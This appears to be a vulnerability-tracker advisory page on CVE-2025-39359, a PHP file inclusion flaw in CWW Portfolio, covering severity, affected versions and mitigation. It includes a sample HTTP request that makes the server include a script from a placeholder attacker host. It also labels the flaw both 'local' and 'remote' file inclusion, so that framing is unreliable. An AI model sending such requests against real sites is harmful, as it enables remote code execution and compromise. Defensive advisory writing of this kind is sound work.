Ameeba Exploit Tracker

Tracking CVEs, exploits, and zero-days for defensive cybersecurity research.

Ameeba Blog Search
TRENDING · 1 WEEK
Attack Vector
Vendor
Severity

CVE-2025-39359: PHP Local File Inclusion Vulnerability in Code Work Web CWW Portfolio

Ameeba Chat Store screens
Download Ameeba Chat

Overview

The CVE-2025-39359 vulnerability is a significant flaw in Code Work Web’s CWW Portfolio software. It involves an improper control of filename for Include/Require Statement in a PHP program, also known as a ‘PHP Remote File Inclusion’ vulnerability. This vulnerability can lead to potential system compromise or data leakage, making it a serious risk for any organization utilizing affected versions of CWW Portfolio.

Vulnerability Summary

CVE ID: CVE-2025-39359
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Ameeba Chat Icon Escape the Surveillance Era

Most apps won’t tell you the truth.
They’re part of the problem.

Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.

Ameeba Chat gives you a way out.

  • • No phone number
  • • No email
  • • No personal info
  • • Anonymous aliases
  • • End-to-end encrypted

Chat without a trace.

Product | Affected Versions

Code Work Web CWW Portfolio | Up to and including 1.3.1

How the Exploit Works

The PHP Local File Inclusion vulnerability allows an attacker to include files from remote servers. This can be exploited to execute arbitrary PHP code by uploading a malicious PHP script on a remote server and then making a request to the affected application including this script. Due to poor input validation, the application fails to properly sanitize the file name for the PHP Include/Require statement, allowing for malicious file inclusion.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:

GET /index.php?page=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-website.com

In the above example, the attacker’s malicious script located at “http://attacker.com/malicious_script.txt” would be included and executed on the vulnerable web server.

Mitigation and Recommendations

Users of the affected Code Work Web CWW Portfolio versions are advised to apply the vendor-supplied patch as soon as possible. As an interim solution, organizations can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to help mitigate the risk. However, it is crucial to note that these are temporary solutions and do not replace the need for patching the underlying vulnerability.

Want to discuss this further? Join the Ameeba Cybersecurity Group Chat.

Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.
Ameeba Chat